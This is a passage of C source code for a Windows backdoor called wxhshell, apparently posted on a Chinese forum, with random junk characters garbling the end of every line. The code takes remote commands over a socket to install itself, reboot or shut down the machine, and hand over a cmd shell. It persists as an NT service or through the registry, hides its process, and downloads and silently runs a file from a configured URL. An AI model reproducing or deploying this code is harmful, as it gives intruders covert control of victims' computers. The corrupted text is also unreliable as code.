  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #>@<n3rq  
  } nG!&u1*  
  else { hx*HY%\P  
*Ao2j;  
    switch(cmd[0]) { qo)Q}0  
  ]bs+:  
  // 帮助 ,tcP=f dk]  
  case '?': { W]Y@WKeT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Z,i|K;  
    break; A*rZQh b[  
  } -l\~p4U  
  // 安装 1d/NZJ9  
  case 'i': { oSN8Xn*qr  
    if(Install()) Q^*G`&w,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mYiSR   
    else @>M8Pe  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N-X VRuv  
    break; zv$Gma_  
    } VV?]U$  
  // 卸载 +fC#2%VnU  
  case 'r': { os}b?I*K  
    if(Uninstall()) FYp|oD2=1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9B qQ^`bu  
    else '.]e._T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y8D7<V~Md  
    break; N8,EI^W8Z  
    } 1y},9ym  
  // 显示 wxhshell 所在路径 #S@UTJa  
  case 'p': { ~!8%_J_  
    char svExeFile[MAX_PATH]; K?5B>dv@A  
    strcpy(svExeFile,"\n\r"); B*- ToXQQr  
      strcat(svExeFile,ExeFile); %T`4!:vy  
        send(wsh,svExeFile,strlen(svExeFile),0); IUluJ.sXIf  
    break; //#xK D  
    } H @_eFlT t  
  // 重启 'dmp4VT3  
  case 'b': { ybD{4&ZE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B.]qrS|  
    if(Boot(REBOOT)) B`g<Ge~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C_;HaQiu  
    else { ML=hKwCA  
    closesocket(wsh); 0t5Q9#RY  
    ExitThread(0); P]!LN\[  
    } GCcwEl!K^  
    break; n%83jep9  
    } |HaU3E*R  
  // 关机 s,eld@  
  case 'd': { 03X<x|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gGtep*k  
    if(Boot(SHUTDOWN)) :NwMb^>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LVPt*S=/  
    else { :)KTZ  
    closesocket(wsh); q`/amI0  
    ExitThread(0); [<#<:h &\  
    } /Nj:!! AN  
    break; v\vE^|-\/  
    } ^4u3Q  
  // 获取shell .jU|gf:x  
  case 's': { '+ o:,6  
    CmdShell(wsh); h]J&A  
    closesocket(wsh); O ,Pl7x%tK  
    ExitThread(0); 5]4<!m  
    break; &[?u1qQ%o  
  } dD/29b(  
  // 退出 $\YLmG  
  case 'x': { q|47;bK'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xZ9}8*Q&:  
    CloseIt(wsh); '8r8 ^g[  
    break; 5XSxQG@k^z  
    } Pe+ 8~0o=R  
  // 离开 mV:RmA  
  case 'q': { ,? 0-=o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %=NM_5a}]  
    closesocket(wsh); egxJ3.  
    WSACleanup(); ps!5HZ2:  
    exit(1); f_re"d 3u  
    break; WuP([8  
        } GvZac  
  } _SBp66 r  
  } an$ ]IN  
C0t+Q  
  // 提示信息 ADLa.{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); | Q1ub S  
} h30QCk  
  } =M/ UHOY  
eB<V%,%N#  
  return; .q_uJ_qu-  
} V 9QvQA r  
!\&7oAs=I  
// shell模块句柄 e\d5SKY  
int CmdShell(SOCKET sock) lry& )G=5  
{ DSDl[;3O{s  
STARTUPINFO si; :"<B@Z  
ZeroMemory(&si,sizeof(si)); FfD ,cDs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Q$ /eL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (:fE _H2z  
PROCESS_INFORMATION ProcessInfo; |L.~Am d  
char cmdline[]="cmd"; U2[3S\@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ."!8B9 s  
  return 0; mf*9^}l+Zn  
} ,rH)}C<Q+  
+]S;U&vQ  
// 自身启动模式 w}U5dM`  
int StartFromService(void) 0'q(XB`i=  
{ 0'\FrG  
typedef struct TN |{P  
{ NqQ(X'W7  
  DWORD ExitStatus; ](9{}DHV  
  DWORD PebBaseAddress; 6XOpB^@  
  DWORD AffinityMask; ^+- L;XkeY  
  DWORD BasePriority; xPfnyAo?%z  
  ULONG UniqueProcessId; SRG!G]?-  
  ULONG InheritedFromUniqueProcessId; DETajf/<F  
}   PROCESS_BASIC_INFORMATION; <_sT]?N #  
1)/T.q<D"  
PROCNTQSIP NtQueryInformationProcess;  ,3@15j  
2,XqslB)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,$6MM6W;-F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; , R.+-X  
uu@'02G8  
  HANDLE             hProcess; ,],JI|Rl8c  
  PROCESS_BASIC_INFORMATION pbi; [BZ(p  
L yA(.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y`B!6p 5j  
  if(NULL == hInst ) return 0; 7ck0S+N'b  
TJw.e/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); se n{f^U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~g4rGz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >e$^# \D  
9Pob|UA  
  if (!NtQueryInformationProcess) return 0; F&L?J_=  
7]. IT(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xZ @O"*{  
  if(!hProcess) return 0; $jeDVH  
6B;_uIq5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K_lL\  
<1g1hqK3  
  CloseHandle(hProcess); KEVy%AP=*h  
RkH oT^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U*R~w5W.[  
if(hProcess==NULL) return 0; R:IS4AaS  
u.L8tR:(  
HMODULE hMod; q=0{E0@9({  
char procName[255]; DHumBnQ  
unsigned long cbNeeded; |b'<XQ&l5  
@#--dOWYR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -TU{r_!Z(  
_~S^#ut+  
  CloseHandle(hProcess); .Qi1I  
p:Ld)U*  
if(strstr(procName,"services")) return 1; // 以服务启动 vkd<l&zD  
:: 72~'tw  
  return 0; // 注册表启动 MoR-8vnJ  
} D)~nAkVq  
OD/P*CQ_  
// 主模块 ,Qi|g'a  
int StartWxhshell(LPSTR lpCmdLine) g@6X|W5,J  
{ X3=Jp'p$h  
  SOCKET wsl; vb ^!(  
BOOL val=TRUE; / -qt}  
  int port=0; UE`4$^qs  
  struct sockaddr_in door; xEZVsz  
OTHd1PSOu  
  if(wscfg.ws_autoins) Install(); D%Jc?6/I#3  
09;'z  
port=atoi(lpCmdLine); rRG\:<a  
{_X1&&>8/  
if(port<=0) port=wscfg.ws_port; E29gnYxu8  
@?cXa: tX  
  WSADATA data; ,bwopRcA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;s B:s9M  
i~s9Ot  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5<BV\'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cv(N5mA2  
  door.sin_family = AF_INET; Sfa m=.l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -[7,ph  
  door.sin_port = htons(port); 7(USp#"  
+ET  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q2pboZ86  
closesocket(wsl); u{nWjqrM*5  
return 1; (5DGs_>  
} % ih7Jt  
~0r.3KTl"Y  
  if(listen(wsl,2) == INVALID_SOCKET) { QZa#i L  
closesocket(wsl); 'xXqEwi4  
return 1; KPe.AK,8  
} l3#dfW{  
  Wxhshell(wsl); JEF7hJz~  
  WSACleanup(); lJY=*KB(6  
U\ E{-7  
return 0; Ollv _o3  
z2q5f :d8  
} 3$yL+%i  
Au*?)X- $  
// 以NT服务方式启动 3udIe$.Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QuRg(K%:  
{ Q|z06_3i  
DWORD   status = 0; (BQ3M-  
  DWORD   specificError = 0xfffffff; 7-g4S]r<  
gWH9=%!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yrNc[kS/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TaO;r=2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j/mp.'P1k  
  serviceStatus.dwWin32ExitCode     = 0; J9c3d~YW  
  serviceStatus.dwServiceSpecificExitCode = 0; {,2_K6#  
  serviceStatus.dwCheckPoint       = 0; |ylTy B  
  serviceStatus.dwWaitHint       = 0; 4 Wd5Goe:  
LA%al @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^&/&I9z  
  if (hServiceStatusHandle==0) return; CvWEXY_P2  
7kpW 1tjY  
status = GetLastError(); _rVX_   
  if (status!=NO_ERROR) -mw \?\2{  
{ QLU; .&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .FRF<_`^  
    serviceStatus.dwCheckPoint       = 0; E!l1a5qB  
    serviceStatus.dwWaitHint       = 0; 8"UG&wLT  
    serviceStatus.dwWin32ExitCode     = status; .p~;U|h"  
    serviceStatus.dwServiceSpecificExitCode = specificError; HMd)64(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -gGK(PIf  
    return; .(]1PKW  
  } B2WX#/lgd  
o"M^ sKz47  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [F{a-i-  
  serviceStatus.dwCheckPoint       = 0; )qXe`3 d5  
  serviceStatus.dwWaitHint       = 0; w=o m7%J@l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pv SFp-:_  
} uCS  
b/Q"j3  
// 处理NT服务事件,比如:启动、停止 5mVu]T`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lS-i9U/,>  
{ yOzKux8kB  
switch(fdwControl) n(S-F g  
{ iPpJ`i#@+  
case SERVICE_CONTROL_STOP: x99 Oq!  
  serviceStatus.dwWin32ExitCode = 0; OVf|4J/Yx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6dp_R2zH~o  
  serviceStatus.dwCheckPoint   = 0; %k)I =|  
  serviceStatus.dwWaitHint     = 0; XPTB,1g+f  
  { bl-s0Ax-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o?+e_n=  
  } 0\*<k`dY  
  return; .tsB$,/  
case SERVICE_CONTROL_PAUSE: nDw9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1V?)zp  
  break; C YKGf1;If  
case SERVICE_CONTROL_CONTINUE: 4 jro4B`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l= S_#  
  break; E |3aiC,5  
case SERVICE_CONTROL_INTERROGATE: Xrn~ ]P7  
  break; =ab}.dWC  
}; ?=rh=#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rdg1<Z  
} `"Pd$jW  
&H{>7q#r  
// 标准应用程序主函数 y-k-E/V}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $dw;Kj'\  
{ K\Q 1/})  
YaNVpLA  
// 获取操作系统版本 r:-WfDz.  
OsIsNt=GetOsVer(); <:-&yDh u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q[K)bg{HB  
Fj4:_(%nG  
  // 从命令行安装 J1t?Qj;f3  
  if(strpbrk(lpCmdLine,"iI")) Install(); i+3b)xtW7  
O0RQ}~$'m  
  // 下载执行文件 ep|u_|sB/r  
if(wscfg.ws_downexe) { 6j#5Ag:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e(A&VIp  
  WinExec(wscfg.ws_filenam,SW_HIDE); '9XwUQx  
} `#F>?g$2  
SfT]C~#$N  
if(!OsIsNt) { YN[D^;}  
// 如果时win9x,隐藏进程并且设置为注册表启动 rt z(Jt{<  
HideProc(); 7lu;lAAP  
StartWxhshell(lpCmdLine); G>"[nXmcu  
} 0nAS4Az  
else n2~rrQ \/p  
  if(StartFromService()) l[Oxf|  
  // 以服务方式启动 0"Hf6xz  
  StartServiceCtrlDispatcher(DispatchTable); je\UfEo%  
else up6LO7drW/  
  // 普通方式启动 "`zw(  
  StartWxhshell(lpCmdLine); i8F~$6C  
o? =u#=  
return 0; $[e*0!e  
}
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只看该作者 1 发表于: 2006-10-10
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